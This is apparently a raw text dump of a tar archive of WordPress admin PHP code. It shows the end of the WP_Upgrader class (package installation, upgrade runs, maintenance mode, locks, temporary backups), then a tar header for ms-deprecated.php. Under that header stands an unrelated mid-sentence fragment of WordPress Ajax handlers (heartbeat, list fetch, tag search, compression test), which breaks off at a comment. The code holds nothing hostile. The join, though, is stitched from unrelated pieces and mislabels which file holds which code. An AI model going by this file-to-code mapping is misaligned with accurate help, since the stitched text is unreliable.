* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param string $remote_destination The location on the remote filesystem to be cleared.
* @return true|WP_Error True upon success, WP_Error on failure.
*/
public function clear_destination( $remote_destination ) {
global $wp_filesystem;
$files = $wp_filesystem->dirlist( $remote_destination, true, true );
// False indicates that the $remote_destination doesn't exist.
if ( false === $files ) {
return true;
}
// Flatten the file list to iterate over.
$files = $this->flatten_dirlist( $files );
// Check all files are writable before attempting to clear the destination.
$unwritable_files = array();
// Check writability.
foreach ( $files as $filename => $file_details ) {
if ( ! $wp_filesystem->is_writable( $remote_destination . $filename ) ) {
// Attempt to alter permissions to allow writes and try again.
$wp_filesystem->chmod( $remote_destination . $filename, ( 'd' === $file_details['type'] ? FS_CHMOD_DIR : FS_CHMOD_FILE ) );
if ( ! $wp_filesystem->is_writable( $remote_destination . $filename ) ) {
$unwritable_files[] = $filename;
}
}
}
if ( ! empty( $unwritable_files ) ) {
return new WP_Error( 'files_not_writable', $this->strings['files_not_writable'], implode( ', ', $unwritable_files ) );
}
if ( ! $wp_filesystem->delete( $remote_destination, true ) ) {
return new WP_Error( 'remove_old_failed', $this->strings['remove_old_failed'] );
}
return true;
}
/**
* Install a package.
*
* Copies the contents of a package from a source directory, and installs them in
* a destination directory. Optionally removes the source. It can also optionally
* clear out the destination folder if it already exists.
*
* @since 2.8.0
* @since 6.2.0 Use move_dir() instead of copy_dir() when possible.
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
* @global array $wp_theme_directories
*
* @param array|string $args {
* Optional. Array or string of arguments for installing a package. Default empty array.
*
* @type string $source Required path to the package source. Default empty.
* @type string $destination Required path to a folder to install the package in.
* Default empty.
* @type bool $clear_destination Whether to delete any files already in the destination
* folder. Default false.
* @type bool $clear_working Whether to delete the files from the working directory
* after copying them to the destination. Default false.
* @type bool $abort_if_destination_exists Whether to abort the installation if
* the destination folder already exists. Default true.
* @type array $hook_extra Extra arguments to pass to the filter hooks called by
* WP_Upgrader::install_package(). Default empty array.
* }
*
* @return array|WP_Error The result (also stored in `WP_Upgrader::$result`), or a WP_Error on failure.
*/
public function install_package( $args = array() ) {
global $wp_filesystem, $wp_theme_directories;
$defaults = array(
'source' => '', // Please always pass this.
'destination' => '', // ...and this.
'clear_destination' => false,
'clear_working' => false,
'abort_if_destination_exists' => true,
'hook_extra' => array(),
);
$args = wp_parse_args( $args, $defaults );
// These were previously extract()'d.
$source = $args['source'];
$destination = $args['destination'];
$clear_destination = $args['clear_destination'];
// Give the upgrade an additional 300 seconds(5 minutes) to ensure the install doesn't prematurely timeout having used up the maximum script execution time upacking and downloading in WP_Upgrader->run.
if ( function_exists( 'set_time_limit' ) ) {
set_time_limit( 300 );
}
if (
( ! is_string( $source ) || '' === $source || trim( $source ) !== $source ) ||
( ! is_string( $destination ) || '' === $destination || trim( $destination ) !== $destination )
) {
return new WP_Error( 'bad_request', $this->strings['bad_request'] );
}
$this->skin->feedback( 'installing_package' );
/**
* Filters the installation response before the installation has started.
*
* Returning a value that could be evaluated as a `WP_Error` will effectively
* short-circuit the installation, returning that value instead.
*
* @since 2.8.0
*
* @param bool|WP_Error $response Installation response.
* @param array $hook_extra Extra arguments passed to hooked filters.
*/
$res = apply_filters( 'upgrader_pre_install', true, $args['hook_extra'] );
if ( is_wp_error( $res ) ) {
return $res;
}
// Retain the original source and destinations.
$remote_source = $args['source'];
$local_destination = $destination;
$dirlist = $wp_filesystem->dirlist( $remote_source );
if ( false === $dirlist ) {
return new WP_Error( 'source_read_failed', $this->strings['fs_error'], $this->strings['dir_not_readable'] );
}
$source_files = array_keys( $dirlist );
$remote_destination = $wp_filesystem->find_folder( $local_destination );
// Locate which directory to copy to the new folder. This is based on the actual folder holding the files.
if ( 1 === count( $source_files ) && $wp_filesystem->is_dir( trailingslashit( $args['source'] ) . $source_files[0] . '/' ) ) {
// Only one folder? Then we want its contents.
$source = trailingslashit( $args['source'] ) . trailingslashit( $source_files[0] );
} elseif ( 0 === count( $source_files ) ) {
// There are no files?
return new WP_Error( 'incompatible_archive_empty', $this->strings['incompatible_archive'], $this->strings['no_files'] );
} else {
/*
* It's only a single file, the upgrader will use the folder name of this file as the destination folder.
* Folder name is based on zip filename.
*/
$source = trailingslashit( $args['source'] );
}
/**
* Filters the source file location for the upgrade package.
*
* @since 2.8.0
* @since 4.4.0 The $hook_extra parameter became available.
*
* @param string $source File source location.
* @param string $remote_source Remote file source location.
* @param WP_Upgrader $upgrader WP_Upgrader instance.
* @param array $hook_extra Extra arguments passed to hooked filters.
*/
$source = apply_filters( 'upgrader_source_selection', $source, $remote_source, $this, $args['hook_extra'] );
if ( is_wp_error( $source ) ) {
return $source;
}
if ( ! empty( $args['hook_extra']['temp_backup'] ) ) {
$temp_backup = $this->move_to_temp_backup_dir( $args['hook_extra']['temp_backup'] );
if ( is_wp_error( $temp_backup ) ) {
return $temp_backup;
}
$this->temp_backups[] = $args['hook_extra']['temp_backup'];
}
// Has the source location changed? If so, we need a new source_files list.
if ( $source !== $remote_source ) {
$dirlist = $wp_filesystem->dirlist( $source );
if ( false === $dirlist ) {
return new WP_Error( 'new_source_read_failed', $this->strings['fs_error'], $this->strings['dir_not_readable'] );
}
$source_files = array_keys( $dirlist );
}
/*
* Protection against deleting files in any important base directories.
* Theme_Upgrader & Plugin_Upgrader also trigger this, as they pass the
* destination directory (WP_PLUGIN_DIR / wp-content/themes) intending
* to copy the directory into the directory, whilst they pass the source
* as the actual files to copy.
*/
$protected_directories = array( ABSPATH, WP_CONTENT_DIR, WP_PLUGIN_DIR, WP_CONTENT_DIR . '/themes' );
if ( is_array( $wp_theme_directories ) ) {
$protected_directories = array_merge( $protected_directories, $wp_theme_directories );
}
if ( in_array( $destination, $protected_directories, true ) ) {
$remote_destination = trailingslashit( $remote_destination ) . trailingslashit( basename( $source ) );
$destination = trailingslashit( $destination ) . trailingslashit( basename( $source ) );
}
if ( $clear_destination ) {
// We're going to clear the destination if there's something there.
$this->skin->feedback( 'remove_old' );
$removed = $this->clear_destination( $remote_destination );
/**
* Filters whether the upgrader cleared the destination.
*
* @since 2.8.0
*
* @param true|WP_Error $removed Whether the destination was cleared.
* True upon success, WP_Error on failure.
* @param string $local_destination The local package destination.
* @param string $remote_destination The remote package destination.
* @param array $hook_extra Extra arguments passed to hooked filters.
*/
$removed = apply_filters( 'upgrader_clear_destination', $removed, $local_destination, $remote_destination, $args['hook_extra'] );
if ( is_wp_error( $removed ) ) {
return $removed;
}
} elseif ( $args['abort_if_destination_exists'] && $wp_filesystem->exists( $remote_destination ) ) {
/*
* If we're not clearing the destination folder and something exists there already, bail.
* But first check to see if there are actually any files in the folder.
*/
$_files = $wp_filesystem->dirlist( $remote_destination );
if ( ! empty( $_files ) ) {
$wp_filesystem->delete( $remote_source, true ); // Clear out the source files.
return new WP_Error( 'folder_exists', $this->strings['folder_exists'], $remote_destination );
}
}
/*
* If 'clear_working' is false, the source should not be removed, so use copy_dir() instead.
*
* Partial updates, like language packs, may want to retain the destination.
* If the destination exists or has contents, this may be a partial update,
* and the destination should not be removed, so use copy_dir() instead.
*/
if ( $args['clear_working']
&& (
// Destination does not exist or has no contents.
! $wp_filesystem->exists( $remote_destination )
|| empty( $wp_filesystem->dirlist( $remote_destination ) )
)
) {
$result = move_dir( $source, $remote_destination, true );
} else {
// Create destination if needed.
if ( ! $wp_filesystem->exists( $remote_destination ) ) {
if ( ! $wp_filesystem->mkdir( $remote_destination, FS_CHMOD_DIR ) ) {
return new WP_Error( 'mkdir_failed_destination', $this->strings['mkdir_failed'], $remote_destination );
}
}
$result = copy_dir( $source, $remote_destination );
}
// Clear the working directory?
if ( $args['clear_working'] ) {
$wp_filesystem->delete( $remote_source, true );
}
if ( is_wp_error( $result ) ) {
return $result;
}
$destination_name = basename( str_replace( $local_destination, '', $destination ) );
if ( '.' === $destination_name ) {
$destination_name = '';
}
$this->result = compact( 'source', 'source_files', 'destination', 'destination_name', 'local_destination', 'remote_destination', 'clear_destination' );
/**
* Filters the installation response after the installation has finished.
*
* @since 2.8.0
*
* @param bool $response Installation response.
* @param array $hook_extra Extra arguments passed to hooked filters.
* @param array $result Installation result data.
*/
$res = apply_filters( 'upgrader_post_install', true, $args['hook_extra'], $this->result );
if ( is_wp_error( $res ) ) {
$this->result = $res;
return $res;
}
// Bombard the calling function will all the info which we've just used.
return $this->result;
}
/**
* Runs an upgrade/installation.
*
* Attempts to download the package (if it is not a local file), unpack it, and
* install it in the destination folder.
*
* @since 2.8.0
*
* @param array $options {
* Array or string of arguments for upgrading/installing a package.
*
* @type string $package The full path or URI of the package to install.
* Default empty.
* @type string $destination The full path to the destination folder.
* Default empty.
* @type bool $clear_destination Whether to delete any files already in the
* destination folder. Default false.
* @type bool $clear_working Whether to delete the files from the working
* directory after copying them to the destination.
* Default true.
* @type bool $abort_if_destination_exists Whether to abort the installation if the destination
* folder already exists. When true, `$clear_destination`
* should be false. Default true.
* @type bool $is_multi Whether this run is one of multiple upgrade/installation
* actions being performed in bulk. When true, the skin
* WP_Upgrader::header() and WP_Upgrader::footer()
* aren't called. Default false.
* @type array $hook_extra Extra arguments to pass to the filter hooks called by
* WP_Upgrader::run().
* }
* @return array|false|WP_Error The result from self::install_package() on success, otherwise a WP_Error,
* or false if unable to connect to the filesystem.
*/
public function run( $options ) {
$defaults = array(
'package' => '', // Please always pass this.
'destination' => '', // ...and this.
'clear_destination' => false,
'clear_working' => true,
'abort_if_destination_exists' => true, // Abort if the destination directory exists. Pass clear_destination as false please.
'is_multi' => false,
'hook_extra' => array(), // Pass any extra $hook_extra args here, this will be passed to any hooked filters.
);
$options = wp_parse_args( $options, $defaults );
/**
* Filters the package options before running an update.
*
* See also {@see 'upgrader_process_complete'}.
*
* @since 4.3.0
*
* @param array $options {
* Options used by the upgrader.
*
* @type string $package Package for update.
* @type string $destination Update location.
* @type bool $clear_destination Clear the destination resource.
* @type bool $clear_working Clear the working resource.
* @type bool $abort_if_destination_exists Abort if the Destination directory exists.
* @type bool $is_multi Whether the upgrader is running multiple times.
* @type array $hook_extra {
* Extra hook arguments.
*
* @type string $action Type of action. Default 'update'.
* @type string $type Type of update process. Accepts 'plugin', 'theme', or 'core'.
* @type bool $bulk Whether the update process is a bulk update. Default true.
* @type string $plugin Path to the plugin file relative to the plugins directory.
* @type string $theme The stylesheet or template name of the theme.
* @type string $language_update_type The language pack update type. Accepts 'plugin', 'theme',
* or 'core'.
* @type object $language_update The language pack update offer.
* }
* }
*/
$options = apply_filters( 'upgrader_package_options', $options );
if ( ! $options['is_multi'] ) { // Call $this->header separately if running multiple times.
$this->skin->header();
}
// Connect to the filesystem first.
$res = $this->fs_connect( array( WP_CONTENT_DIR, $options['destination'] ) );
// Mainly for non-connected filesystem.
if ( ! $res ) {
if ( ! $options['is_multi'] ) {
$this->skin->footer();
}
return false;
}
$this->skin->before();
if ( is_wp_error( $res ) ) {
$this->skin->error( $res );
$this->skin->after();
if ( ! $options['is_multi'] ) {
$this->skin->footer();
}
return $res;
}
/*
* Download the package. Note: If the package is the full path
* to an existing local file, it will be returned untouched.
*/
$download = $this->download_package( $options['package'], false, $options['hook_extra'] );
/*
* Allow for signature soft-fail.
* WARNING: This may be removed in the future.
*/
if ( is_wp_error( $download ) && $download->get_error_data( 'softfail-filename' ) ) {
// Don't output the 'no signature could be found' failure message for now.
if ( 'signature_verification_no_signature' !== $download->get_error_code() || WP_DEBUG ) {
// Output the failure error as a normal feedback, and not as an error.
$this->skin->feedback( $download->get_error_message() );
// Report this failure back to WordPress.org for debugging purposes.
wp_version_check(
array(
'signature_failure_code' => $download->get_error_code(),
'signature_failure_data' => $download->get_error_data(),
)
);
}
// Pretend this error didn't happen.
$download = $download->get_error_data( 'softfail-filename' );
}
if ( is_wp_error( $download ) ) {
$this->skin->error( $download );
$this->skin->after();
if ( ! $options['is_multi'] ) {
$this->skin->footer();
}
return $download;
}
$delete_package = ( $download !== $options['package'] ); // Do not delete a "local" file.
// Unzips the file into a temporary directory.
$working_dir = $this->unpack_package( $download, $delete_package );
if ( is_wp_error( $working_dir ) ) {
$this->skin->error( $working_dir );
$this->skin->after();
if ( ! $options['is_multi'] ) {
$this->skin->footer();
}
return $working_dir;
}
// With the given options, this installs it to the destination directory.
$result = $this->install_package(
array(
'source' => $working_dir,
'destination' => $options['destination'],
'clear_destination' => $options['clear_destination'],
'abort_if_destination_exists' => $options['abort_if_destination_exists'],
'clear_working' => $options['clear_working'],
'hook_extra' => $options['hook_extra'],
)
);
/**
* Filters the result of WP_Upgrader::install_package().
*
* @since 5.7.0
*
* @param array|WP_Error $result Result from WP_Upgrader::install_package().
* @param array $hook_extra Extra arguments passed to hooked filters.
*/
$result = apply_filters( 'upgrader_install_package_result', $result, $options['hook_extra'] );
$this->skin->set_result( $result );
if ( is_wp_error( $result ) ) {
// An automatic plugin update will have already performed its rollback.
if ( ! empty( $options['hook_extra']['temp_backup'] ) ) {
$this->temp_restores[] = $options['hook_extra']['temp_backup'];
/*
* Restore the backup on shutdown.
* Actions running on `shutdown` are immune to PHP timeouts,
* so in case the failure was due to a PHP timeout,
* it will still be able to properly restore the previous version.
*
* Zero arguments are accepted as a string can sometimes be passed
* internally during actions, causing an error because
* `WP_Upgrader::restore_temp_backup()` expects an array.
*/
add_action( 'shutdown', array( $this, 'restore_temp_backup' ), 10, 0 );
}
$this->skin->error( $result );
if ( ! method_exists( $this->skin, 'hide_process_failed' ) || ! $this->skin->hide_process_failed( $result ) ) {
$this->skin->feedback( 'process_failed' );
}
} else {
// Installation succeeded.
$this->skin->feedback( 'process_success' );
}
$this->skin->after();
// Clean up the backup kept in the temporary backup directory.
if ( ! empty( $options['hook_extra']['temp_backup'] ) ) {
// Delete the backup on `shutdown` to avoid a PHP timeout.
add_action( 'shutdown', array( $this, 'delete_temp_backup' ), 100, 0 );
}
if ( ! $options['is_multi'] ) {
/**
* Fires when the upgrader process is complete.
*
* See also {@see 'upgrader_package_options'}.
*
* @since 3.6.0
* @since 3.7.0 Added to WP_Upgrader::run().
* @since 4.6.0 `$translations` was added as a possible argument to `$hook_extra`.
*
* @param WP_Upgrader $upgrader WP_Upgrader instance. In other contexts this might be a
* Theme_Upgrader, Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader instance.
* @param array $hook_extra {
* Array of bulk item update data.
*
* @type string $action Type of action. Default 'update'.
* @type string $type Type of update process. Accepts 'plugin', 'theme', 'translation', or 'core'.
* @type bool $bulk Whether the update process is a bulk update. Default true.
* @type array $plugins Array of the basename paths of the plugins' main files.
* @type array $themes The theme slugs.
* @type array $translations {
* Array of translations update data.
*
* @type string $language The locale the translation is for.
* @type string $type Type of translation. Accepts 'plugin', 'theme', or 'core'.
* @type string $slug Text domain the translation is for. The slug of a theme/plugin or
* 'default' for core translations.
* @type string $version The version of a theme, plugin, or core.
* }
* }
*/
do_action( 'upgrader_process_complete', $this, $options['hook_extra'] );
$this->skin->footer();
}
return $result;
}
/**
* Toggles maintenance mode for the site.
*
* Creates/deletes the maintenance file to enable/disable maintenance mode.
*
* @since 2.8.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param bool $enable True to enable maintenance mode, false to disable.
*/
public function maintenance_mode( $enable = false ) {
global $wp_filesystem;
if ( ! $wp_filesystem ) {
require_once ABSPATH . 'wp-admin/includes/file.php';
WP_Filesystem();
}
$file = $wp_filesystem->abspath() . '.maintenance';
if ( $enable ) {
if ( ! wp_doing_cron() ) {
$this->skin->feedback( 'maintenance_start' );
}
// Create maintenance file to signal that we are upgrading.
$maintenance_string = '';
$wp_filesystem->delete( $file );
$wp_filesystem->put_contents( $file, $maintenance_string, FS_CHMOD_FILE );
} elseif ( ! $enable && $wp_filesystem->exists( $file ) ) {
if ( ! wp_doing_cron() ) {
$this->skin->feedback( 'maintenance_end' );
}
$wp_filesystem->delete( $file );
}
}
/**
* Creates a lock using WordPress options.
*
* @since 4.5.0
*
* @global wpdb $wpdb The WordPress database abstraction object.
*
* @param string $lock_name The name of this unique lock.
* @param int $release_timeout Optional. The duration in seconds to respect an existing lock.
* Default: 1 hour.
* @return bool False if a lock couldn't be created or if the lock is still valid. True otherwise.
*/
public static function create_lock( $lock_name, $release_timeout = null ) {
global $wpdb;
if ( ! $release_timeout ) {
$release_timeout = HOUR_IN_SECONDS;
}
$lock_option = $lock_name . '.lock';
// Try to lock.
$lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'off') /* LOCK */", $lock_option, time() ) );
if ( ! $lock_result ) {
$lock_result = get_option( $lock_option );
// If a lock couldn't be created, and there isn't a lock, bail.
if ( ! $lock_result ) {
return false;
}
// Check to see if the lock is still valid. If it is, bail.
if ( $lock_result > ( time() - $release_timeout ) ) {
return false;
}
// There must exist an expired lock, clear it and re-gain it.
WP_Upgrader::release_lock( $lock_name );
return WP_Upgrader::create_lock( $lock_name, $release_timeout );
}
// Update the lock, as by this point we've definitely got a lock, just need to fire the actions.
update_option( $lock_option, time(), false );
return true;
}
/**
* Releases an upgrader lock.
*
* @since 4.5.0
*
* @see WP_Upgrader::create_lock()
*
* @param string $lock_name The name of this unique lock.
* @return bool True if the lock was successfully released. False on failure.
*/
public static function release_lock( $lock_name ) {
return delete_option( $lock_name . '.lock' );
}
/**
* Moves the plugin or theme being updated into a temporary backup directory.
*
* @since 6.3.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param string[] $args {
* Array of data for the temporary backup.
*
* @type string $slug Plugin or theme slug.
* @type string $src Path to the root directory for plugins or themes.
* @type string $dir Destination subdirectory name. Accepts 'plugins' or 'themes'.
* }
*
* @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
*/
public function move_to_temp_backup_dir( $args ) {
global $wp_filesystem;
if ( empty( $args['slug'] ) || empty( $args['src'] ) || empty( $args['dir'] ) ) {
return false;
}
/*
* Skip any plugin that has "." as its slug.
* A slug of "." will result in a `$src` value ending in a period.
*
* On Windows, this will cause the 'plugins' folder to be moved,
* and will cause a failure when attempting to call `mkdir()`.
*/
if ( '.' === $args['slug'] ) {
return false;
}
if ( ! $wp_filesystem->wp_content_dir() ) {
return new WP_Error( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
}
$dest_dir = $wp_filesystem->wp_content_dir() . 'upgrade-temp-backup/';
$sub_dir = $dest_dir . $args['dir'] . '/';
// Create the temporary backup directory if it does not exist.
if ( ! $wp_filesystem->is_dir( $sub_dir ) ) {
if ( ! $wp_filesystem->is_dir( $dest_dir ) ) {
$wp_filesystem->mkdir( $dest_dir, FS_CHMOD_DIR );
}
if ( ! $wp_filesystem->mkdir( $sub_dir, FS_CHMOD_DIR ) ) {
// Could not create the backup directory.
return new WP_Error( 'fs_temp_backup_mkdir', $this->strings['temp_backup_mkdir_failed'] );
}
}
$src_dir = $wp_filesystem->find_folder( $args['src'] );
$src = trailingslashit( $src_dir ) . $args['slug'];
$dest = $dest_dir . trailingslashit( $args['dir'] ) . $args['slug'];
// Delete the temporary backup directory if it already exists.
if ( $wp_filesystem->is_dir( $dest ) ) {
$wp_filesystem->delete( $dest, true );
}
// Move to the temporary backup directory.
$result = move_dir( $src, $dest, true );
if ( is_wp_error( $result ) ) {
return new WP_Error( 'fs_temp_backup_move', $this->strings['temp_backup_move_failed'] );
}
return true;
}
/**
* Restores the plugin or theme from temporary backup.
*
* @since 6.3.0
* @since 6.6.0 Added the `$temp_backups` parameter.
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param array[] $temp_backups {
* Optional. An array of temporary backups.
*
* @type array ...$0 {
* Information about the backup.
*
* @type string $dir The temporary backup location in the upgrade-temp-backup directory.
* @type string $slug The item's slug.
* @type string $src The directory where the original is stored. For example, `WP_PLUGIN_DIR`.
* }
* }
* @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
*/
public function restore_temp_backup( array $temp_backups = array() ) {
global $wp_filesystem;
$errors = new WP_Error();
if ( empty( $temp_backups ) ) {
$temp_backups = $this->temp_restores;
}
foreach ( $temp_backups as $args ) {
if ( empty( $args['slug'] ) || empty( $args['src'] ) || empty( $args['dir'] ) ) {
return false;
}
if ( ! $wp_filesystem->wp_content_dir() ) {
$errors->add( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
return $errors;
}
$src = $wp_filesystem->wp_content_dir() . 'upgrade-temp-backup/' . $args['dir'] . '/' . $args['slug'];
$dest_dir = $wp_filesystem->find_folder( $args['src'] );
$dest = trailingslashit( $dest_dir ) . $args['slug'];
if ( $wp_filesystem->is_dir( $src ) ) {
// Cleanup.
if ( $wp_filesystem->is_dir( $dest ) && ! $wp_filesystem->delete( $dest, true ) ) {
$errors->add(
'fs_temp_backup_delete',
sprintf( $this->strings['temp_backup_restore_failed'], $args['slug'] )
);
continue;
}
// Move it.
$result = move_dir( $src, $dest, true );
if ( is_wp_error( $result ) ) {
$errors->add(
'fs_temp_backup_delete',
sprintf( $this->strings['temp_backup_restore_failed'], $args['slug'] )
);
continue;
}
}
}
return $errors->has_errors() ? $errors : true;
}
/**
* Deletes a temporary backup.
*
* @since 6.3.0
* @since 6.6.0 Added the `$temp_backups` parameter.
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param array[] $temp_backups {
* Optional. An array of temporary backups.
*
* @type array ...$0 {
* Information about the backup.
*
* @type string $dir The temporary backup location in the upgrade-temp-backup directory.
* @type string $slug The item's slug.
* @type string $src The directory where the original is stored. For example, `WP_PLUGIN_DIR`.
* }
* }
* @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
*/
public function delete_temp_backup( array $temp_backups = array() ) {
global $wp_filesystem;
$errors = new WP_Error();
if ( empty( $temp_backups ) ) {
$temp_backups = $this->temp_backups;
}
foreach ( $temp_backups as $args ) {
if ( empty( $args['slug'] ) || empty( $args['dir'] ) ) {
return false;
}
if ( ! $wp_filesystem->wp_content_dir() ) {
$errors->add( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
return $errors;
}
$temp_backup_dir = $wp_filesystem->wp_content_dir() . "upgrade-temp-backup/{$args['dir']}/{$args['slug']}";
if ( ! $wp_filesystem->delete( $temp_backup_dir, true ) ) {
$errors->add(
'temp_backup_delete_failed',
sprintf( $this->strings['temp_backup_delete_failed'], $args['slug'] )
);
continue;
}
}
return $errors->has_errors() ? $errors : true;
}
}
/** Plugin_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';
/** Theme_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader.php';
/** Language_Pack_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader.php';
/** Core_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-core-upgrader.php';
/** File_Upload_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-file-upload-upgrader.php';
/** WP_Automatic_Updater class */
require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
ms-deprecated.php 0000644 00000007272 14757313107 0010012 0 ustar 00 id and the JS global 'pagenow'.
if ( ! empty( $_POST['screen_id'] ) ) {
$screen_id = sanitize_key( $_POST['screen_id'] );
} else {
$screen_id = 'front';
}
if ( ! empty( $_POST['data'] ) ) {
$data = wp_unslash( (array) $_POST['data'] );
/**
* Filters Heartbeat Ajax response in no-privilege environments.
*
* @since 3.6.0
*
* @param array $response The no-priv Heartbeat response.
* @param array $data The $_POST data sent.
* @param string $screen_id The screen ID.
*/
$response = apply_filters( 'heartbeat_nopriv_received', $response, $data, $screen_id );
}
/**
* Filters Heartbeat Ajax response in no-privilege environments when no data is passed.
*
* @since 3.6.0
*
* @param array $response The no-priv Heartbeat response.
* @param string $screen_id The screen ID.
*/
$response = apply_filters( 'heartbeat_nopriv_send', $response, $screen_id );
/**
* Fires when Heartbeat ticks in no-privilege environments.
*
* Allows the transport to be easily replaced with long-polling.
*
* @since 3.6.0
*
* @param array $response The no-priv Heartbeat response.
* @param string $screen_id The screen ID.
*/
do_action( 'heartbeat_nopriv_tick', $response, $screen_id );
// Send the current time according to the server.
$response['server_time'] = time();
wp_send_json( $response );
}
//
// GET-based Ajax handlers.
//
/**
* Handles fetching a list table via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_fetch_list() {
$list_class = $_GET['list_args']['class'];
check_ajax_referer( "fetch-list-$list_class", '_ajax_fetch_list_nonce' );
$wp_list_table = _get_list_table( $list_class, array( 'screen' => $_GET['list_args']['screen']['id'] ) );
if ( ! $wp_list_table ) {
wp_die( 0 );
}
if ( ! $wp_list_table->ajax_user_can() ) {
wp_die( -1 );
}
$wp_list_table->ajax_response();
wp_die( 0 );
}
/**
* Handles tag search via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_ajax_tag_search() {
if ( ! isset( $_GET['tax'] ) ) {
wp_die( 0 );
}
$taxonomy = sanitize_key( $_GET['tax'] );
$taxonomy_object = get_taxonomy( $taxonomy );
if ( ! $taxonomy_object ) {
wp_die( 0 );
}
if ( ! current_user_can( $taxonomy_object->cap->assign_terms ) ) {
wp_die( -1 );
}
$search = wp_unslash( $_GET['q'] );
$comma = _x( ',', 'tag delimiter' );
if ( ',' !== $comma ) {
$search = str_replace( $comma, ',', $search );
}
if ( str_contains( $search, ',' ) ) {
$search = explode( ',', $search );
$search = $search[ count( $search ) - 1 ];
}
$search = trim( $search );
/**
* Filters the minimum number of characters required to fire a tag search via Ajax.
*
* @since 4.0.0
*
* @param int $characters The minimum number of characters required. Default 2.
* @param WP_Taxonomy $taxonomy_object The taxonomy object.
* @param string $search The search term.
*/
$term_search_min_chars = (int) apply_filters( 'term_search_min_chars', 2, $taxonomy_object, $search );
/*
* Require $term_search_min_chars chars for matching (default: 2)
* ensure it's a non-negative, non-zero integer.
*/
if ( ( 0 === $term_search_min_chars ) || ( strlen( $search ) < $term_search_min_chars ) ) {
wp_die();
}
$results = get_terms(
array(
'taxonomy' => $taxonomy,
'name__like' => $search,
'fields' => 'names',
'hide_empty' => false,
'number' => isset( $_GET['number'] ) ? (int) $_GET['number'] : 0,
)
);
/**
* Filters the Ajax term search results.
*
* @since 6.1.0
*
* @param string[] $results Array of term names.
* @param WP_Taxonomy $taxonomy_object The taxonomy object.
* @param string $search The search term.
*/
$results = apply_filters( 'ajax_term_search_results', $results, $taxonomy_object, $search );
echo implode( "\n", $results );
wp_die();
}
/**
* Handles compression testing via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_wp_compression_test() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( -1 );
}
if ( ini_get( 'zlib.output_compression' ) || 'ob_gzhandler' === ini_get( 'output_handler' ) ) {
// Use `update_option()` on single site to mark the option for autoloading.
if ( is_multisite() ) {
update_site_option( 'can_compress_scripts', 0 );
} else {
update_option( 'can_compress_scripts', 0, true );
}
wp_die( 0 );
}
if ( isset( $_GET['test'] ) ) {
header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
header( 'Content-Type: application/javascript; charset=UTF-8' );
$force_gzip = ( defined( 'ENFORCE_GZIP' ) && ENFORCE_GZIP );
$test_str = '"wpCompressionTest Lorem ipsum dolor sit amet consectetuer mollis sapien urna ut a. Eu nonummy condimentum fringilla tempor pretium platea vel nibh netus Maecenas. Hac molestie amet justo quis pellentesque est ultrices interdum nibh Morbi. Cras mattis pretium Phasellus ante ipsum ipsum ut sociis Suspendisse Lorem. Ante et non molestie. Porta urna Vestibulum egestas id congue nibh eu risus gravida sit. Ac augue auctor Ut et non a elit massa id sodales. Elit eu Nulla at nibh adipiscing mattis lacus mauris at tempus. Netus nibh quis suscipit nec feugiat eget sed lorem et urna. Pellentesque lacus at ut massa consectetuer ligula ut auctor semper Pellentesque. Ut metus massa nibh quam Curabitur molestie nec mauris congue. Volutpat molestie elit justo facilisis neque ac risus Ut nascetur tristique. Vitae sit lorem tellus et quis Phasellus lacus tincidunt nunc Fusce. Pharetra wisi Suspendisse mus sagittis libero lacinia Integer consequat ac Phasellus. Et urna ac cursus tortor aliquam Aliquam amet tellus volutpat Vestibulum. Justo interdum condimentum In augue congue tellus sollicitudin Quisque quis nibh."';
if ( '1' === $_GET['test'] ) {
echo $test_str;
wp_die();
} elseif ( '2' === $_GET['test'] ) {
if ( ! isset( $_SERVER['HTTP_ACCEPT_ENCODING'] ) ) {
wp_die( -1 );
}
if ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'deflate' ) && function_exists( 'gzdeflate' ) && ! $force_gzip ) {
header( 'Content-Encoding: deflate' );
$out = gzdeflate( $test_str, 1 );
} elseif ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip' ) && function_exists( 'gzencode' ) ) {
header( 'Content-Encoding: gzip' );
$out = gzencode( $test_str, 1 );
} else {
wp_die( -1 );
}
echo $out;
wp_die();
} elseif ( 'no' === $_GET['test'] ) {
check_ajax_referer( 'update_can_compress_scripts' );
// Use `update_option()` on single site to mark the option for autoloading.
if ( is_multisite() ) {
update_site_option( 'can_compress_scripts', 0 );
} else {
update_option( 'can_compress_scripts', 0, true );
}
} elseif ( 'yes' === $_GET['test'] ) {
check_ajax_referer( 'update_can_compress_scripts' );
// Use `update_option()` on single site to mark the option for autoloading.
if ( is_multisite() ) {
update_site_option( 'can_compress_scripts', 1 );
} else {
update_option( 'can_compress_scripts', 1, true );
}
}
}
wp_die( 0 );
}
/**
* Handles image editor previews via AJAX.
*
* @since 3.1.0
